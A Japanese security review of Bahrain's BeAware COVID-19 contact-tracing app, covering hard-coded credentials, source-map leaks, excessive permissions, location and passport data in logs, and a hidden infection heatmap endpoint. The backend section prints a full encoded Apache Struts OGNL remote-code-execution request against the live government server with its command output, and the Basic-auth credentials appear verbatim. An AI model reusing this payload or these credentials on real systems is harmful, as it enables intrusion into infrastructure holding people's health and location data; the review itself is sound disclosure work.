国家規模でモバイル端末を侵害する方法:COVID-19接触追跡アプリBeAware Bahrainのレビュー
Covid-19接触追跡アプリBeAwareのモバイルセキュリティテスト
概要
本記事では、iOS版とAndroid版の両方のBeAware Bahrainモバイルアプリケーションを、 プロセスの透明性、セキュリティ、プライバシー、追跡機能、アクセシビリティに焦点を当ててレビューします。 このレビューは、Randorisecと共同で作成している、COVID-19接触追跡アプリケーションに関する 連載記事の続編です。レビューの手法と背景については、 前回の記事をお読みください。
ゴールドスタンダード
接触追跡アプリケーションをレビューする前に、まず、これらのアプリケーションが満たすべき期待事項、つまり基準について 合意しておく必要があります。
私たちの知る限り、そうした基準はどこにも定められていません。プライバシーについて語る組織もあれば、 追跡プロトコルの効率性やそれが提供する保証について議論する組織もありますが、拠り所にできる仕様やガイドは 存在しません。
そこで私たちは、収集した一連の情報と良識に基づいて、期待事項を独自にまとめる必要がありました。
これらの要件は大まかなものであり、意図的に特定の実装に依存しないようにしています。
- 透明性
- 追跡プロトコルが文書化されている
- アプリケーションのアーキテクチャと設計が文書化されている
- プライバシーとセキュリティの問題に対処するプログラム(バグバウンティ)がある
- レビューとコミュニティによる検証を容易にするため、アプリケーションがオープンソースである
- プライバシー
- アプリケーションがPIIを収集しない
- アプリケーションがユーザーを追跡したり、位置情報を収集したりしない
- アプリケーションが端末上で使用する権限が限られており、主にBluetoothによる検出とインターネットアクセスに制限されている
- データの消去と共有について、ユーザーが自分のデータを管理できる
- セキュリティ
- アプリケーションがアタックサーフェスを縮小しており、広告、支払い、無関係な機能がない
- アプリケーションが、精査済みで最新のサードパーティ製の依存関係を使用している
- アプリケーションが安全な暗号化チャネルで通信する
- アプリケーションが安全であり、追跡情報をいかなる第三者にも漏えいさせない
- 追跡の効率性
- 追跡プロトコルが個人の追跡を可能にしない
- 接触情報の共有がオプトイン方式である
- 追跡において位置情報やPIIデータを共有・収集しない
- 追跡によって感染者をたどり直すことができない
- 追跡のチェックが中央集権的ではなく、ユーザーが管理できる
- アプリケーションがバックグラウンドにあるときや画面がオフのときでも、AndroidとiOSで追跡が機能する
- アクセシビリティ
- アプリケーションが複数の言語で利用でき、現地以外のユーザーにも対応している
- 非居住者(渡航禁止により国内で足止めされている人)もアプリケーションを利用できる
- 障害のある人(色覚異常、視覚障害など)も利用できる
- ローエンドの端末でも利用できる(アプリケーションのサイズ、バッテリー消費、低帯域幅など)
要点
BeAwareアプリに関する主な検出結果として、ユーザーのプライバシーと、ユーザーの端末を含むインフラのセキュリティに 影響を及ぼすクリティカルな問題が特定されました。
このアプリケーションはGPSの位置情報を継続的に収集しており、その情報はさまざまな経路(平文の トラフィック、ログ)から漏えいしていました。アプリケーションのセキュリティ上の問題は、端末の侵害につながる可能性があります。

| 項目 | カテゴリ | 重大度 |
|---|---|---|
| リモートコード実行に対して脆弱な、古いバックエンドサーバー | セキュリティ | 高 |
| ドキュメント、仕様、ソースコードの欠如 | 透明性 | 高 |
| 感染ユーザーのヒートマップを表示し、ユーザーの正確な住所を漏えいさせる隠しエンドポイント | 接触追跡 / プライバシー | 高 |
| バックエンドサーバーがモバイルアプリケーションに任意のコードを注入できる | セキュリティ / プライバシー | 高 |
| セキュリティ窓口からの応答がない | 透明性 | 高 |
| アプリケーションがログで個人を特定できる情報と位置情報を漏えいさせている | プライバシー | 中 |
| 古いOpenSSLライブラリ | セキュリティ | 低 |
| アプリ内にハードコードされた認証情報とシークレット | コード品質 / セキュリティ | 低 |
| アプリに含まれるJavaScriptのソースマップ | コード品質 / セキュリティ | 低 |
| 安全でないApache Cordovaのホワイトリスト | セキュリティ | 低 |
| アプリケーションが個人を特定できる情報(パスポート番号と電話番号)と位置情報を継続的に収集している | 接触追跡 / プライバシー | 低 |
詳細:BeAwareアプリ

透明性
調査の過程で、このアプリケーションに関するドキュメントや仕様は一切見つかりませんでした。ソースコードは 公開されていませんが、設定ミスにより、アプリケーションから部分的に復元することができました。
セキュリティ
BeAwareモバイルアプリケーションは、マルチプラットフォームフレームワークであるIonic、Typescript、Angularを使用しています。この モバイルアプリケーションのセキュリティ態勢には、バックエンドサーバーの完全な侵害につながり得る複数の問題があり、 それらを足がかりに携帯電話を侵害することも可能です。
ネットワーク通信
このアプリケーションはTLSで通信し、証明書の検証も適切に行っていますが、平文で通信する一部のエンドポイントは例外です。
以下のソースコードの抜粋をご覧ください。maps.google.comの場合、ほとんどのケースでこのエンドポイントはHTTPSへのリダイレクトになるか、
HTTP Strict Transport Security(HSTS)が作動します。
this.serviceProvider.gaTrackEvent("AppointmentPage", "Location");
if (userlocation == null) {
mapUrl = "http://maps.google.com?q=" + item.location.lat + "," + item.location.lon;
} else {
mapUrl = "http://maps.google.com/maps?daddr=" + item.location.lat + "," + item.location.lon + "&saddr=" + userlocation.coords.latitude + "," + userlocation.coords.longitude;
}
ハードコードされた認証情報とシークレット
複数のAPIとの通信では、エンドポイントがハードコードされた認証情報をHTTP Basic認証ヘッダーとして送信しています。このAPIは セッション管理の仕組みを一切実装しておらず、ユーザーを識別するために電話番号、個人ID、端末を 送信し続けます。
this.commonUrl = "https://apps.bahrain.bh/eGACommonService/services/secure/cs/";
this.corUrl = "https://apps.bahrain.bh/corona-tracking-client-api/";
this.headers = new __WEBPACK_IMPORTED_MODULE_2__angular_http__["a" /* Headers */]({
'Content-Type': 'application/json',
'appname': 'BCT',
'platform': this.platform.is('ios') ? 'ios' : 'android',
'language': this.translate.getDefaultLang() == "en" ? "English" : "Arabic",
'Accept-Language': this.translate.getDefaultLang(),
});
this.common = 'Basic T0NUX0lPUzpUQ09AMzRXMDEwI0lDUw==';
this.cor = 'Basic VEFXX0lPUzpUQVdAMjNKMTYwI1RBVw==';
サードパーティの依存関係
このアプリケーションは複数のCordovaの依存関係を使用しており、これらの依存関係はcordova_plugins.jsファイルからフィンガープリントを取得しました。
module.exports.metadata =
// TOP OF METADATA
{
"cordova-plugin-background-fetch": "6.0.3",
"cordova-background-geolocation": "3.6.0",
"cordova-plugin-network-information": "2.0.2",
"cordova-plugin-device": "2.0.2",
"cordova-plugin-inappbrowser": "3.2.0",
"cordova-plugin-ionic-keyboard": "2.0.5",
"cordova-support-android-plugin": "1.0.1",
"cordova-support-google-services": "1.2.1",
"cordova-plugin-firebase-messaging": "1.2.1",
"cordova-plugin-firebase-analytics": "1.1.1",
"cordova-plugin-app-version": "0.1.9",
"es6-promise-plugin": "4.2.2",
"cordova-plugin-x-socialsharing": "5.6.4",
"cordova-plugin-whitelist": "1.3.3",
"cordova-plugin-statusbar": "2.4.2",
"cordova-plugin-splashscreen": "5.0.2",
"cordova-plugin-ionic-webview": "4.0.0",
"cordova.plugins.diagnostic": "5.0.1",
"cordova-plugin-camera-with-exif": "1.3.1",
"cordova-plugin-file": "6.0.2",
"com.unarin.cordova.beacon": "3.8.1",
"cordova-plugin-badge": "0.8.8",
"cordova-plugin-local-notification": "0.9.0-beta.2",
"cordova-open-native-settings": "1.5.2",
"cordova-plugin-calendar": "5.1.5",
"cordova-plugin-hms-location": "1.0.0"
};
// BOTTOM OF METADATA
});
Cordovaのプラグインは、修正された脆弱性の報告に関して優れた実績があるとは言えません。たとえば
https://www.npmjs.com/package/cordova-plugin-advanced-httpは、バージョン2.0.7でTLS/SSL証明書の検証に関する
脆弱性を修正しましたが、CVEは一切報告していません。
一方で、バックエンドサーバーは古いOpenSSLのバージョンを示しています。
HTTP/1.1 200
Content-Type: application/json
Content-Length: 221
Connection: close
Date: Sat, 13 Jun 2020 21:34:49 GMT
Server: Apache/2.4.43 (Amazon) OpenSSL/1.0.2k-fips
Access-Control-Allow-Origin: http://localhost
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT
Access-Control-Max-Age: 601
Access-Control-Allow-Headers: Authorization, appname, language, Content-Type, platform, Accept, X-Login-Ajax-call, JSESSIONID, Accept-Language, X-Authorization
Access-Control-Expose-Headers: JSESSIONID
Vary: Accept-Encoding
X-Cache: Miss from cloudfront
Via: 1.1 8455bcb2c0203b0c4ee93b610d75e69b.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: ZRH50-C1
X-Amz-Cf-Id: 7uLTx5gMknzyi-9W3HahufU5A_u94et3ZOcAq6Ty9FiPZFD3uWs8ig==
{"statusMessageEN":"App update Subscription was successful. count: 0. unsubscribeCount: 0","statusMessageAR":"App update Subscription was successful. count: 0. unsubscribeCount: 0","appRegisterID":null,"statusCode":"200"}
既知の脆弱性はいずれも影響が小さいか、リモートからは悪用できないものです。
バックエンド
調査の過程で、バックエンドサーバーがリモートコード実行(CVE-2013-2135)に対して脆弱な、古いバージョンの Apache Strutsを使用していることを特定しました。リクエストとレスポンスの詳細は以下のとおりです。
GET /CMSWebApplication/?redirect:%25%7b%28%23%5f%3d%27%6d%75%6c%74%69%70%61%72%74%2f%66%6f%72%6d%2d%64%61%74%61%27%29%2e%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%63%6d%64%3d%27%6c%73%27%29%2e%28%23%69%73%77%69%6e%3d%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%53%79%73%74%65%6d%40%67%65%74%50%72%6f%70%65%72%74%79%28%27%6f%73%2e%6e%61%6d%65%27%29%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%63%6f%6e%74%61%69%6e%73%28%27%77%69%6e%27%29%29%29%2e%28%23%63%6d%64%73%3d%28%23%69%73%77%69%6e%3f%7b%27%63%6d%64%2e%65%78%65%27%2c%27%2f%63%27%2c%23%63%6d%64%7d%3a%7b%27%2f%62%69%6e%2f%62%61%73%68%27%2c%27%2d%63%27%2c%23%63%6d%64%7d%29%29%2e%28%23%70%3d%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%23%63%6d%64%73%29%29%2e%28%23%70%2e%72%65%64%69%72%65%63%74%45%72%72%6f%72%53%74%72%65%61%6d%28%74%72%75%65%29%29%2e%28%23%70%72%6f%63%65%73%73%3d%23%70%2e%73%74%61%72%74%28%29%29%2e%28%23%72%6f%73%3d%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%63%6f%70%79%28%23%70%72%6f%63%65%73%73%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%72%6f%73%29%29%2e%28%23%72%6f%73%2e%66%6c%75%73%68%28%29%29%7d HTTP/2
Host: apps.bahrain.bh
User-Agent: curl/7.65.3
Accept: */*
HTTP/2 200
date: Mon, 15 Jun 2020 10:26:13 GMT
server: Apache/2.4.43 (Amazon) OpenSSL/1.0.2k-fips
set-cookie: JSESSIONID=04419697E535A1149042AEBFB1E9B02D; Path=[REDACTED]; Secure; HttpOnly
x-cache: Miss from cloudfront
via: 1.1 aa787b163703f7d10f3853a5942eae76.cloudfront.net (CloudFront)
x-amz-cf-pop: YTO50-C2
x-amz-cf-id: G31YvcT9NzY9oZS7W_4dhziwZRl-DJZWgHxAjHnUNCFwKVtQcwgQew==
bin
conf
lib
logs
temp
webapps
work
* Connection #0 to host apps.bahrain.bh left intact
これらの問題に共通する根本原因は、Strutsライブラリがjar/warファイルに組み込まれていることです。アプリケーションを再ビルドせずに OSのパッケージを更新するという一般的なやり方では、この問題を修正するには不十分です。
モバイルアプリケーションはサーバーからさまざまな情報を取得しており、desEnとdesArのパラメーターは、innerHTMLを使って アプリケーションに直接注入されるHTML入力です。以下のレスポンスとテンプレートのソースコードのサンプルをご覧ください。
HTTP/1.1 200
Content-Type: application/json
Connection: close
Date: Sat, 13 Jun 2020 21:36:45 GMT
Server: Apache/2.4.43 (Amazon) OpenSSL/1.0.2k-fips
Access-Control-Allow-Origin: http://localhost
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT
Access-Control-Max-Age: 601
Access-Control-Allow-Headers: Authorization, appname, language, Content-Type, platform, Accept, X-Login-Ajax-call, JSESSIONID, Accept-Language, X-Authorization
Access-Control-Expose-Headers: JSESSIONID
Vary: Accept-Encoding
X-Cache: Miss from cloudfront
Via: 1.1 08c5e904e2f0226b2d9c1417f32b12f2.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: ZRH50-C1
X-Amz-Cf-Id: MrFRytnry9kNIIsBvSLtXmaxZ_v-qvMNyDmcz5j_KZT-T36dRTKluA==
Content-Length: 59500
{"appStoreList":[{"code":"MYS","nameAr":"eشباب","nameEn":"eShabab","ownerAr":"وزارة شئون الشباب والرياضة","ownerEn":"Ministry of Youth and Sports Affairs (MYS)","descAr":"<p>يوفر هذا التطبيق مجموعة من الخدمات التي تستهدف فئة الشباب، حيث بإمكانهم الاستفادة مما يلي:</p>\r\n<ul>\r\n\t<li>خدمة "يلا نسجل"، حيث تتيح إمكانية:\r\n\t\t<ol>\r\n\t\t\t<li>تسجيل وتحديث الملف الشخصي.</li>\r\n\t\t\t<li>البحث والتسجيل في البرامج الشبابية</li>\r\n\t\t\t<li>عرض قائمة البرامج المسجلة</li>\r\n\t\t\t<li>التسجيل لامتحان التقييم والاستعلام عن حالة الامتحان</li>\r\n\t\t\t<li>إضافة أفراد العائلة (أبناء أو أشقاء) مع إمكانية تسجيلهم في البرامج</li>\r\n\t\t\t<li>التسجيل للحصول على إخطارات في حال توفر مقاعد شاغرة للبرامج مكتملة التسجيل.</li>\r\n\t\t</ol>\r\n\t</li>\r\n\t<li>خدمة "سواعد"، حيث تتيح إمكانية تقيم طلب التطوع لوزارة شؤون الشباب والرياضة.</li>\r\n\t<li>عرض قائمة الفعاليات التي تنظمها وزارة شؤون الشباب والرياضة مع إمكانية التسجيل، إضافة الفعالية إلى التقويم، ومشاركة تفاصيلها عبر تطبيقات التواصل الاجتماعي.</li>\r\n\t<li>مواقعنا: خدمة تعتمد على الخريطة لعرض تفاصيل جميع المراكز الشبابية والأندية الرياضة المتواجدة في مملكة البحرين.</li>\r\n\t<li>توفير الإشعارات والإخطارات المرسلة من قبل الوزارة عبر التطبيق</li>\r\n</ul>","descEn":"<p>This app provides a collection of services targeting the Youth, where they can benefit from the following:</p>\r\n<ul>\r\n\t<li>"Let's Register" service, where it provides the ability to:\r\n\t\t<ol>\r\n\t\t\t<li>Create and update the user profile.</li>\r\n\t\t\t<li>Search and register for youth programs.</li>\r\n\t\t\t<li>View the list of registered programs.</li>\r\n\t\t\t<li>Register for assessment exams and enquire about the status.</li>\r\n\t\t\t<li>Add Family members (Children or Siblings) with the ability to register them for programs.</li>\r\n\t\t\t<li>Request to be notified when seats are available for fully booked programs.</li>\r\n\t\t</ol>\r\n\t</li>\r\n\t<li>"Sawaed" service, where users can submit a volunteering request to Ministry of Youth and Sport Affairs (MYS).</li>\r\n\t<li>View the list of events provided by Ministry of Youth and Sport Affairs (MYS) with the ability to register, add it to the calendar, and share the event details through social media.</li>\r\n\t<li>MYS Locator: A map-based service that provides the list of youth centers and sport clubs across the Kingdom of Bahrain and the details for each center or club.</li>\r\n\t<li>Receive notifications sent by the ministry.</li>\r\n</ul>","rating":3.27,"screenshots":["https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_1.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_2.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_3.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_4.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_5.png"],"ratingCount":24,"linkAr":"https://eshabab.page.link/ar","linkEn":"https://eshabab.page.link/en","aboutAr":"\n<p>يتيح هذا التطبيق مجموعة من الخدمات بالتعاون مع الجهات التالية:</p>\n<ul>\n <li>هيئة المعلومات والحكومة الإلكترونية</li>\n <li>وزارة شؤون الشباب والرياضة</li>\n</ul>\n<p>يهدف التطبيق إلى عرض الفعاليات والبرامج المتاحة للشباب وتسهيل عملية التسجيل فيها، إلى جانب إمكانية تقديم طلب للعمل التطوعي.\n</p>\n","aboutEn":"\n<p>This application provides a group of services in collaboration with the following entities:</p>\n<ul>\n <li>Information and eGovernment Authority (iGA)</li>\n <li>Ministry of Youth and Sport Affairs (MYS)</li>\n</ul>\n<p>It aims to introduce the list of events and programs provided for the youth easing the registration process, along with the ability to submit a volunteering request.\n</p>\n","icon":"https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_logo.png","order":70,"status":"STABLE"},
Object(__WEBPACK_IMPORTED_MODULE_1__angular_core__["Component"])({
selector: 'page-our-apps-details',template:/*ion-inline-start:"D:\angular-2\corona19\corona-tracking-app\src\pages\our-apps-details\our-apps-details.html"*/'<ion-header>\n\n <ion-navbar no-border-bottom color="light">\n\n <button ion-button menuToggle>\n\n <ion-icon name="menu"></ion-icon>\n\n </button>\n\n <ion-title text-center>{ { translate.getDefaultLang() == \'ar\' ? app?.nameAr : app?.nameEn} }</ion-title>\n\n <ion-buttons end>\n\n <button ion-button icon-only (click)="socialMediaShare()">\n\n <ion-icon name="md-share"></ion-icon>\n\n </button>\n\n </ion-buttons>\n\n </ion-navbar>\n\n</ion-header>\n\n\n\n<ion-content>\n\n <div class="whiteBg">\n\n <ion-grid class="appInfo ">\n\n <ion-row>\n\n <ion-col col-5>\n\n <img class="icon" [src]="app?.icon" />\n\n </ion-col>\n\n <ion-col col-7>\n\n <h3 class="name">{ {translate.getDefaultLang() == \'ar\' ? app?.nameAr : app?.nameEn} }</h3>\n\n <div class="author">{ {translate.getDefaultLang() == \'ar\' ? app?.ownerAr : app?.ownerEn} }</div>\n\n <button ion-button round color="primary"\n\n (click)="openURL(translate.getDefaultLang() == \'ar\' ? app.linkAr : app.linkEn)">{ {\'OURAPPSDETAILS.PREVIEW\'\n\n | translate} }\n\n </button>\n\n </ion-col>\n\n </ion-row>\n\n <ion-row>\n\n <ion-col>\n\n <div class="rate-star">\n\n <span>{ {app?.rating | number : \'1.1-1\'} }</span>\n\n <ion-icon *ngFor="let star of stars" [name]="star" class="stars"></ion-icon>\n\n </div>\n\n <p class="rate-counter">{ {app?.ratingCount} } { {\'OURAPPSDETAILS.RATINGS\' | translate} }</p>\n\n </ion-col>\n\n </ion-row>\n\n </ion-grid>\n\n <hr>\n\n <div class="description" padding>\n\n <h2 class="title">{ {\'OURAPPSDETAILS.DESCRIPTION\' | translate} }</h2>\n\n <div class="details" [innerHTML]="translate.getDefaultLang() == \'ar\' ? app?.descAr : app?.descEn">
攻撃者がバックエンドサーバーを侵害すると、サーバーのレスポンスを汚染してJavaScriptのバックドアを注入し、 モバイル端末を侵害することが可能になります。
その後、Service Workerやアプリケーションのキャッシュへの書き込みアクセスを利用して、永続化を実現する手法は数多く存在します。
当然の理由から、これらの攻撃はいずれもテストしておらず、ネットワークトラフィックの解析と静的解析によって検出したものです。
これらの脆弱性を連鎖させると、アプリケーションの過剰な権限を利用して、数十万台もの端末を侵害することにつながる可能性があります。
ソースコード
.js.mapを通じて、アプリケーションのソースコードが漏えいしています。
{
"version": 3,
"sources": [
"../../src/pipes/language/language.ts",
"../../src/pages/leave-permistions/leave-permistions.ts",
"../../src/pages/leave-permission-change/leave-permission-change.ts",
"../../src/pages/self-requests/self-requests.ts",
"../../src/pages/registration-photo/registration-photo.ts",
"../../node_modules/@angular/core/esm5 lazy",
"../../src/pages/symtoms-report-pop-up/symtoms-report-pop-up.ts",
"../../src lazy",
"../../src/pages/symtoms-report/symtoms-report.ts",
"../../src/pages/gmap/gmap.ts",
"../../src/pages/dispute/dispute.ts",
"../../src/pages/appointment/appointment.ts",
"../../src/pages/appointment-confirm/appointment-confirm.ts",
"../../src/pages/change-mobile/change-mobile.ts",
"../../src/pages/decisions/decisions.ts",
"../../src/pages/notification-details/notification-details.ts",
"../../src/pages/registration/registration.ts",
"../../src/pages/test-results/test-results.ts",
"../../src/pages/test-results-details/test-results-details.ts",
"../../src/pages/self-upload/self-upload.ts",
"../../src/pages/popup-status/popup-status.ts",
"../../src/pages/leave-permistions-modal/leave-permistions-modal.ts",
"../../src/pages/leave-permistions-request/leave-permistions-request.ts",
...
"names": [],
"mappings": ";;;;;;;;;;;;;;;;;;AAAoD;AACG;AAKvD;IACE,sBAAoB,SAA2B;QAA3B,cAAS,GAAT,SAAS,CAAkB;IAAI,CAAC;IAEpD,gCAAS,GAAT,UAAU,KAAa;QAErB,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,IAAI,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC;IAC3C,CAAC;IAED,+BAAQ,GAAR,UAAS,KAAK;QACZ,IAAM,IAAI,GA
...
"file": "main.js",
"sourcesContent": [
"import { Pipe, PipeTransform } from '@angular/core';\r\nimport { TranslateService } from '@ngx-translate/core';\r\n\
ソースマップを使えば、次の8行のコードで元のソースコードを簡単に再現できます。
import json
from pathlib import Path
j = json.load(open('main.js.map', 'r'))
names = j['sources']
contents = j['sourcesContent']
for n, c in zip(names, contents):
Path(n).parent.mkdir(parents=True, exist_ok=True)
open(n, '+w').write(c)
安全でないCordovaのホワイトリスト
Cordovaのホワイトリストはネットワークセキュリティのアクセスを管理するもので、アクセス可能なリソースのみを明示的に許可しなければなりません。しかし、 BeAwareのホワイトリストはすべてのリソースへの無制限のアクセスを許可しています
Url whitelisted: *
プライバシーと接触追跡
権限
このアプリケーションは多数の権限を要求していますが、その中にはアプリケーションで使われていないものも複数あります。たとえばBluetoothによる 接触追跡は完全には実装されておらず、アプリケーション内で動作していませんが、それでも アプリケーションの権限の中で要求されています。
要求される権限には、ネットワーク、GPS、Bluetooth、連絡先、外部ストレージへのアクセスが含まれます。
以下は、Androidにおけるすべての権限の一覧です。
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.BLUETOOTH" android:required="false"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.READ_CALENDAR"/>
<uses-permission android:name="android.permission.WRITE_CALENDAR"/>
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN" android:required="false"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACTIVITY_RECOGNITION"/>
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="com.google.android.gms.permission.ACTIVITY_RECOGNITION"/>
<uses-permission android:name="oppo.permission.OPPO_COMPONENT_SAFE"/>
<uses-permission android:name="com.huawei.permission.external_app_settings.USE_COMPONENT"/>
<uses-feature android:name="android.hardware.location.gps" android:required="false"/>
<uses-permission android:name="com.sec.android.provider.badge.permission.READ"/>
<uses-permission android:name="com.sec.android.provider.badge.permission.WRITE"/>
<uses-permission android:name="com.htc.launcher.permission.READ_SETTINGS"/>
<uses-permission android:name="com.htc.launcher.permission.UPDATE_SHORTCUT"/>
<uses-permission android:name="com.sonyericsson.home.permission.BROADCAST_BADGE"/>
<uses-permission android:name="com.sonymobile.home.permission.PROVIDER_INSERT_BADGE"/>
<uses-permission android:name="com.anddoes.launcher.permission.UPDATE_COUNT"/>
<uses-permission android:name="com.majeur.launcher.permission.UPDATE_BADGE"/>
<uses-permission android:name="com.huawei.android.launcher.permission.CHANGE_BADGE"/>
<uses-permission android:name="com.huawei.android.launcher.permission.READ_SETTINGS"/>
<uses-permission android:name="com.huawei.android.launcher.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.READ_APP_BADGE"/>
<uses-permission android:name="com.oppo.launcher.permission.READ_SETTINGS"/>
<uses-permission android:name="com.oppo.launcher.permission.WRITE_SETTINGS"/>
<uses-permission android:name="me.everything.badger.permission.BADGE_COUNT_READ"/>
<uses-permission android:name="me.everything.badger.permission.BADGE_COUNT_WRITE"/>
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>
<uses-permission android:name="com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE"/>
そして、iOSで必要とされる権限の一覧は次のとおりです。
<key>NSMicrophoneUsageDescription</key>
<string>This app requires microphone access to function properly.</string>
<key>NSMotionUsageDescription</key>
<string>Device motion updates help determine when the device is stationary so the app can save power by turning off location-updates</string>
<key>NSCalendarsUsageDescription</key>
<string>Calendar permission is required for adding corona test appointments</string>
<key>NSRemindersUsageDescription</key>
<string>This app requires reminders access to function properly.</string>
<key>NSLocationWhenInUseUsageDescription</key>
<string>Background location tracking is required for our app so we can track your location for corona affected places</string>
<key>NSLocationAlwaysAndWhenInUseUsageDescription</key>
<string>Background location tracking is required for our app so we can track your location for corona affected places</string>
<key>NSPhotoLibraryUsageDescription</key>
<string>This app requires photo library access to function properly.</string>
<key>NSPhotoLibraryAddUsageDescription</key>
<string>This app requires photo library access to function properly.</string>
<key>NSContactsUsageDescription</key>
<string>This app requires contacts access to function properly.</string>
<key>NSLocationAlwaysUsageDescription</key>
<string>Background location tracking is required for our app so we can track your location for corona affected places</string>
<key>NSCameraUsageDescription</key>
<string>Camera access is required for quarantine photo uploads or to attach medical certificate</string>
<key>NSBluetoothAlwaysUsageDescription</key>
<string>Bluetooth permission is required for Home quarantined users to detect wristband</string>
<key>NSBluetoothPeripheralUsageDescription</key>
<string>This app would like to scan for iBeacons.</string>
ログ
このアプリケーションは、端末ID、パスポートなどの政府発行の身分証番号、電話番号といった、PIIや追跡情報を含む 膨大な量のデータをログに記録しています。
GPS座標が漏えいしている抜粋をご覧ください。
06-14 12:31:37.637 19337 19337 D TSLocationManager: ╔═════════════════════════════════════════════
06-14 12:31:37.637 19337 19337 D TSLocationManager: ║ TrackingService: LocationResult
06-14 12:31:37.637 19337 19337 D TSLocationManager: ╠═════════════════════════════════════════════
06-14 12:31:37.637 19337 19337 D TSLocationManager: ╟─ 📍 Location[fused 26.233880,50.577910 hAcc=20 et=+13h12m43s511ms vel=9.174615 bear=90.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{}]}], age: 264ms, time: 1592130712000
06-14 12:31:37.637 19337 19337 I TSLocationManager: [c.t.l.service.TrackingService a]
06-14 12:31:37.637 19337 19337 I TSLocationManager: ℹ️ Distance from stoppedAtLocation: -40.0
06-14 12:31:37.637 19337 21391 D TSLocationManager: [c.t.l.l.TSLocationManager onLocationResult]
ログでユーザー情報(パスポート、電話番号、端末ID)が漏えいしている抜粋をご覧ください。
06-14 11:02:46.654 19337 19425 I TSLocationManager: "params": {
06-14 11:02:46.654 19337 19425 I TSLocationManager: "userDevice": {
06-14 11:02:46.654 19337 19425 I TSLocationManager: "userType": "passport",
06-14 11:02:46.654 19337 19425 I TSLocationManager: "userId": "CN1586236",
06-14 11:02:46.654 19337 19425 I TSLocationManager: "deviceId": "befd3b10cbf11a2d",
06-14 11:02:46.654 19337 19425 I TSLocationManager: "mobileNumber": "+336123123123"
06-14 11:02:46.654 19337 19425 I TSLocationManager: }
06-14 11:02:46.654 19337 19425 I TSLocationManager: },
隠し機能
アプリケーションからは、隠されているもののアクセス可能な機能を特定できます。ある特定のAPIエンドポイントでは、感染状況の ヒートマップを取得できます。このヒートマップは、感染者の正確な住所が分かるほど精確です。以下は、 ヒートマップを取得するリクエストのサンプルです。
POST /corona-tracking-client-api/trace/positive/heatmap HTTP/1.1
Host: apps.bahrain.bh
Connection: close
Origin: http://localhost
language: english
Accept-Language: en
Authorization: Basic [REDACTED]
Content-Type: application/json
